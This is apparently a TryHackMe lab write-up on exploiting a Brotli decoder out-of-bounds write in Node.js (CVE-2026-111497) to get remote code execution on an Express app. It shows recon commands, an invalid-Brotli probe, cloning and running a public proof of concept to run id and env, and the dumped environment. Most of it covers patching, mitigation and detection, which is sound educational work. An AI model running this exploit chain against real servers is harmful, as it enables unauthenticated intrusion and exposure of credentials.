TryHackMe // Write-up
Node2Shell CVE-2026-111497.
An out-of-bounds write in the Brotli decoder bundled with Node.js turns a routine HTTP compression feature into unauthenticated remote code execution against an Express application.
- Remote Code Execution
- CVE-2026-111497
- Node.js
- CWE-787
01 Executive Summary
This room demonstrates exploitation of CVE-2026-111497, also known as Node2Shell. The vulnerability exists in the native Brotli decompression decoder bundled with Node.js. A specially crafted Brotli stream can trigger an out-of-bounds write during block-switch handling, corrupting process memory.
Applications that decompress attacker-controlled Brotli data can expose this vulnerability through HTTP request processing, even when application developers never directly call the Brotli decoder.
In this exercise, the target ran Node.js 24.22.0 with Express 5.3.0. The application accepted Brotli-encoded request bodies through an upload endpoint. The investigation progressed from service discovery and decoder error analysis to successful remote code execution.
The exploit ultimately demonstrated:
- Remote command execution without application authentication.
- Execution under the Linux
nodeservice account. - Access to the Node.js process environment.
- Exposure of an environment variable containing the room flag.
- Repeated worker crashes during unsuccessful exploitation attempts.
Final result: RCE was successfully demonstrated, and the environment flag was recovered.
02 Lab Environment
| Component | Configuration |
|---|---|
| Attack machine | Kali Linux |
| Attack IP | 10.66.107.197 |
| Target IP | 10.66.148.156 |
| Target port | TCP 3000 |
| Runtime | Node.js 24.22.0 |
| Web framework | Express 5.3.0 |
| Operating environment | Debian Bookworm |
| Exploit | CVE-2026-111497 POC |
Vulnerability background
CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder. The affected logic involves block-type switching in deps/brotli/c/dec/decode.c. The vulnerable decoder fails to handle an invalid block-switch condition correctly, allowing memory corruption.
- Classification: CWE-787, Out-of-bounds Write
- Impact: Memory corruption, denial of service, potential remote code execution
- Attack surface: Applications processing untrusted Brotli-compressed input
The affected Node.js release lines:
| Release line | First fixed release |
|---|---|
| Node.js 22.x | 22.23.4 |
| Node.js 24.x | 24.22.1 |
| Node.js 26.x | 26.12.1 |
03 Initial Reconnaissance
The first step was to confirm that the target was reachable.
ping -c 4 10.66.148.156
Next, a full TCP port scan was performed:
sudo nmap -Pn -n -p- --min-rate 2000 10.66.148.156
The target application was identified on port 3000. We then checked the health endpoint:
curl -i http://10.66.148.156:3000/health
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 5
PONG
Target confirmed online. The root URL was also checked:
curl -s http://10.66.148.156:3000/
Cannot GET /
This indicated that the application did not provide a normal homepage at the root URL.
04 Identifying the Brotli Ingestion Endpoint
The next objective was to identify an endpoint that processed compressed request bodies. The important HTTP header was:
Content-Encoding: br
This tells the receiving application that the request body is Brotli-compressed; the br value identifies Brotli encoding.
Initial endpoint discovery attempts included:
/ingest/api/ingest/api/v1/ingest/api/v1/upload/upload
The first four returned HTTP 404. The /upload endpoint returned HTTP 200 when tested with an empty POST request. This identified the correct application endpoint.
05 Testing Brotli Decompression
Before attempting exploitation, I wanted to confirm that the application actually passed incoming data to the Brotli decoder. I sent deliberately invalid Brotli data:
curl -i -X POST http://10.66.148.156:3000/upload \
-H "Content-Type: application/json" \
-H "Content-Encoding: br" \
--data-binary 'NOT_VALID_BROTLI'
The server returned:
HTTP/1.1 400 Bad Request
More importantly, the response contained:
Error: Decompression failed
at genericNodeError
at wrappedFn
at BrotliDecoder.zlibOnError [as onerror] (node:zlib:197:13)
This was an important finding. The response confirmed:
- The
/uploadendpoint existed. - The Express application received the request.
- The
Content-Encoding: brheader activated Brotli decompression. - The invalid payload reached the native Node.js Brotli decoder.
- The decoder rejected the malformed data.
The HTTP 400 response was not evidence of exploitation. It was evidence that we had identified the vulnerable processing path. This established the attack surface needed for the next phase.
06 Exploit Preparation
With the vulnerable decompression path confirmed, the next step was to obtain a proof of concept. The exploit repository used was:
https://github.com/dimasma0305/CVE-2026-111497-POC
The repository was cloned into the TryHackMe room directory:
cd /root/Rooms/CVE-2026-111497/
git clone -q https://github.com/dimasma0305/CVE-2026-111497-POC.git
cd CVE-2026-111497-POC
The room required a specific commit:
git checkout -q e3382551df02b3ac8c925aeeffb9e0d206f052d4
The room's patch script was then executed:
../apply_patch.sh
patching file poc.py
poc.py patched and verified (md5 dcb4b628daaacafe79ccfa0339733018).
Run it with: LAB_TARGET_HOST=MACHINE_IP ./run_poc.sh --host MACHINE_IP --attempts N
Understanding the exploit configuration
Before running the exploit, I inspected the available arguments:
./run_poc.sh --help
The wrapper automatically selected the following target profile:
node-24.22.0-express-5.3.0-bookworm-x86_64
This matched the target's Node.js and Express environment. An important discovery came from inspecting the Python source:
grep -nE 'command|proof|environment|env|id' poc.py
The following line was particularly important:
LAB_RCE_PROGRAM = os.environ.get("LAB_RCE_PROGRAM", "/usr/bin/id")
This indicated that the proof command could be changed using an environment variable. The default command was /usr/bin/id, which would demonstrate the execution identity. For the second part of the exercise, this could be changed to /usr/bin/env to retrieve the target process environment.
07 Initial Remote Code Execution
The first exploit execution used the default program:
LAB_TARGET_HOST=10.66.148.156 \
./run_poc.sh --host 10.66.148.156 --attempts 48
The exploit attempted to trigger the vulnerability repeatedly. Initial output:
attempt=1/48 staged_position=0x137ed748 fresh_process_reset=network crash trigger
attempt=2/48 staged_position=0x137ed748 fresh_process_reset=network crash trigger
attempt=3/48 staged_position=0x137ed748 fresh_process_reset=network crash trigger
The same behavior continued until attempt 7. Successful output:
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=7
Remote code execution confirmed.
Analysis: Execution identity
The output was uid=1000(node) gid=1000(node) groups=1000(node). This established that the application was running as the Linux account node. The attacker had obtained command execution in the context of the Node.js service.
The account was not root, which limited some potential actions, but it did not prevent remote command execution or access to resources available to the application. A non-root service account reduces the potential impact of compromise, but it does not eliminate the vulnerability.
08 Extracting the Environment Flag
The next objective was to execute a different program through the same vulnerable application. Instead of using the default /usr/bin/id, I selected /usr/bin/env. The exploit was executed with:
LAB_TARGET_HOST=10.66.148.156 \
LAB_RCE_PROGRAM=/usr/bin/env \
./run_poc.sh --host 10.66.148.156 --attempts 48
The exploit succeeded on attempt 5. Output:
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=NODE_VERSION=24.22.0
HOSTNAME=466bc73c7638
YARN_VERSION=1.22.22
HOME=/home/node
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
UV_THREADPOOL_SIZE=1
PWD=/app
FLAG=THM{br0tl1_bl0ck_sw1tch_t0_sh3ll}
successful_attempt=5
The important result was FLAG=THM{br0tl1_bl0ck_sw1tch_t0_sh3ll}.
Flag recovered.
Analysis: Environment variable exposure
The exploit was able to read the environment of the compromised Node.js process. This demonstrated an additional security impact beyond command execution. Environment variables commonly contain:
- Application secrets
- API keys
- Database credentials
- Authentication tokens
- Cloud service credentials
- Deployment configuration
- Internal service addresses
The room flag was deliberately stored in the environment, making it possible to demonstrate this exposure. In a real application, access to environment variables could potentially allow an attacker to move beyond the initially compromised application.
09 Failed Exploitation Attempts and Detection
One of the interesting characteristics of this exploit was that it did not succeed on every attempt. The output repeatedly included fresh_process_reset=network crash trigger. The exploit relied on repeated attempts to reach the required memory layout and execution condition. Failed attempts caused the application worker to crash and required a fresh process.
The first successful execution occurred on attempt 7, while the environment extraction succeeded on attempt 5.
Defensive significance
A defender monitoring the application could potentially identify:
- Repeated application worker crashes
- Unexpected Node.js process termination
- Service restarts
- Unusual HTTP POST activity
- Repeated requests containing
Content-Encoding: br - Repeated decompression errors
- Abnormal memory usage
- Unexpected child-process creation
The most direct answer to the room's detection question is CRASH.
A crash alone is not proof of exploitation. It should be correlated with HTTP requests, process execution telemetry, and application restart events. This would make a useful detection exercise in a Wazuh/Splunk environment.
10 Task Answers
| Question | Answer |
|---|---|
| Fixed Node.js v24 release | 24.22.1 |
| Out-of-bounds write weakness | CWE-787 |
| Claimed impact from source-level analysis | DoS |
| Brotli request header | Content-Encoding: br |
| /health response | PONG |
| Invalid Brotli response status | 400 |
| Service account | node |
| Environment flag | THM{br0tl1_bl0ck_sw1tch_t0_sh3ll} |
| Failed-attempt event | crash |
11 How to Patch CVE-2026-111497
This is the most important part of the exercise from a vulnerability management perspective. The vulnerability is in the Brotli decoder bundled with Node.js. Updating Express alone will not fix it. The correct remediation is to update the underlying Node.js runtime to a release containing the patched Brotli decoder.
Fixed Node.js versions
| Runtime | Minimum fixed version |
|---|---|
| Node.js 22.x | 22.23.4 |
| Node.js 24.x | 24.22.1 |
| Node.js 26.x | 26.12.1 |
The Node.js security advisory identifies these releases as containing the fix. For production deployments, use the latest supported patched release in your chosen release line rather than simply pinning to the minimum fixed version.
Option A: Update Node.js using NVM
If the application uses Node Version Manager:
nvm install 24
nvm use 24
nvm alias default 24
Verify:
node --version
The version must be at least v24.22.1. Restart the application after updating.
Option B: Update a Debian/Ubuntu installation
First check the installed version:
node --version
Check the available package version:
apt-cache policy nodejs
Update the package lists:
sudo apt update
Upgrade Node.js using the configured trusted repository:
sudo apt install --only-upgrade nodejs
Check the version again:
node --version
If the configured repository does not offer a patched release, update the repository or install a supported official Node.js distribution. Do not assume that an ordinary apt upgrade has fixed the vulnerability.
Option C: Update a Docker deployment
Applications running inside containers must be rebuilt with a patched base image. For example:
FROM node:24.22.2-bookworm-slim
WORKDIR /app
COPY package*.json ./
RUN npm ci --omit=dev
COPY . .
EXPOSE 3000
CMD ["node", "server.js"]
Rebuild:
docker build --no-cache -t my-node-app:patched .
Replace the existing container with the newly built image. Verify the runtime inside the container:
docker exec -it <container_name> node --version
Do not simply update Node.js on the Docker host. The application uses the Node.js binary inside its container.
Option D: Temporarily disable Brotli request decompression
If an immediate runtime update is not possible, a temporary mitigation is to reject Brotli-encoded request bodies before they reach the decompression middleware. For an Express application:
app.use((req, res, next) => {
const encoding = req.get('Content-Encoding');
if (
encoding &&
encoding.toLowerCase().split(',').map(x => x.trim()).includes('br')
) {
return res.status(415).send(
'Brotli request bodies temporarily disabled'
);
}
next();
});
// Register body parsing middleware after the restriction.
app.use(express.json());
This is a temporary mitigation, not a permanent fix. It will also prevent legitimate Brotli-compressed uploads, so application functionality must be considered. A web application firewall or reverse proxy can enforce a similar restriction before traffic reaches Node.js. AWS documents an example WAF rule that detects the Content-Encoding: br header, and recommends testing the rule in Count mode before switching to Block mode.
12 How to Verify Remediation
After updating Node.js, verify the actual runtime used by the application.
node --version
For an application process:
ps aux | grep '[n]ode'
For a systemd-managed service:
sudo systemctl restart <service_name>
sudo systemctl status <service_name>
Verify the application is responding:
curl -i http://127.0.0.1:3000/health
Expected response:
HTTP/1.1 200 OK
PONG
Also check:
- The running service uses the patched Node.js binary.
- The application has been restarted.
- Containers have been rebuilt and redeployed.
- Any independently bundled Brotli libraries have been updated.
- The application no longer processes attacker-controlled Brotli data using a vulnerable decoder.
A version check in your interactive shell is not sufficient if a service manager or container is still running an older Node.js binary.
13 Detection and Monitoring Opportunities
This vulnerability provides several useful detection opportunities. For a SOC analyst, I would investigate the following behaviors:
| Indicator | Potential security significance |
|---|---|
| Repeated POST requests to upload endpoints | Possible exploitation attempts |
| Content-Encoding: br | Brotli decompression attack surface |
| Repeated decompression errors | Malformed compressed input |
| Node.js process crashes | Possible memory corruption |
| Unexpected Node.js child processes | Potential post-exploitation |
| Unusual outbound connections | Possible command-and-control |
| Access to environment variables | Potential secret exposure |
Splunk investigation
For your home SOC, start with a search such as:
index=linux ("node" OR "nodejs") ("segfault" OR "core dumped" OR "SIGSEGV" OR "killed")
Look for repeated crashes around the same time. For process execution monitoring, investigate events showing Node.js launching unexpected programs such as:
/usr/bin/env
/bin/sh
/bin/bash
Sysmon on Windows or Linux process auditing can help identify unexpected child-process activity.
Wazuh monitoring
I would build correlation around:
- Repeated HTTP requests to the application's upload endpoint.
- Brotli decompression failures.
- Node.js process termination.
- Unexpected process creation.
- Service restarts following crashes.
A particularly useful detection would correlate repeated Brotli-encoded uploads with Node.js crashes and subsequent process creation. This would be much more valuable than simply alerting on an HTTP 400 response.
14 Lessons Learned
Several important security concepts were demonstrated in this room.
Dependencies carry risk
The Express application did not need an obvious vulnerability in its own JavaScript code. The underlying Node.js runtime contained the vulnerable decoder.
Validation isn't memory safety
The application accepted compressed data and delegated decompression to native code. The vulnerable decoder was responsible for the memory corruption.
Non-root is necessary, not sufficient
The compromised application ran as node, not root. That account still had access to the application's environment and potentially sensitive resources.
Protect environment variables
Secrets stored in environment variables can become accessible following application compromise. Consider dedicated secret-management systems, short-lived credentials, and restricted permissions.
Crashes are a detection signal
Repeated worker crashes may indicate exploitation attempts, especially when correlated with unusual HTTP requests.
Patch the runtime, not just the app
Updating application dependencies alone is not enough. Organizations must also inventory and patch the runtimes and native libraries their applications depend on.
// Conclusion
Node2Shell demonstrated how a vulnerability in a low-level compression library can become a remote code execution vulnerability in a web application. The investigation began by identifying the exposed Express application and confirming that Brotli decompression was accessible through the /upload endpoint. A malformed Brotli payload produced a decompression error, confirming that attacker-controlled data reached the vulnerable decoder.
The supplied proof of concept then successfully demonstrated remote code execution against the Node.js 24.22.0 target. Execution was confirmed under the node service account. By changing the proof program from /usr/bin/id to /usr/bin/env, the application's environment was exposed and the TryHackMe flag was recovered.
The primary remediation is upgrading Node.js to a patched release. Organizations should also review other applications and services that use the affected Brotli decoder.
A seemingly routine HTTP compression feature can expose native memory-management vulnerabilities that result in full application compromise.
// References
- Official Node.js October 2026 Security Releases
- Node.js 24.22.1 Security Release
- Red Hat CVE-2026-111497 Advisory
- Akamai – Inside Node2Shell
- Datadog Security Labs – Reproducing Node2Shell
- CVE-2026-111497 Proof of Concept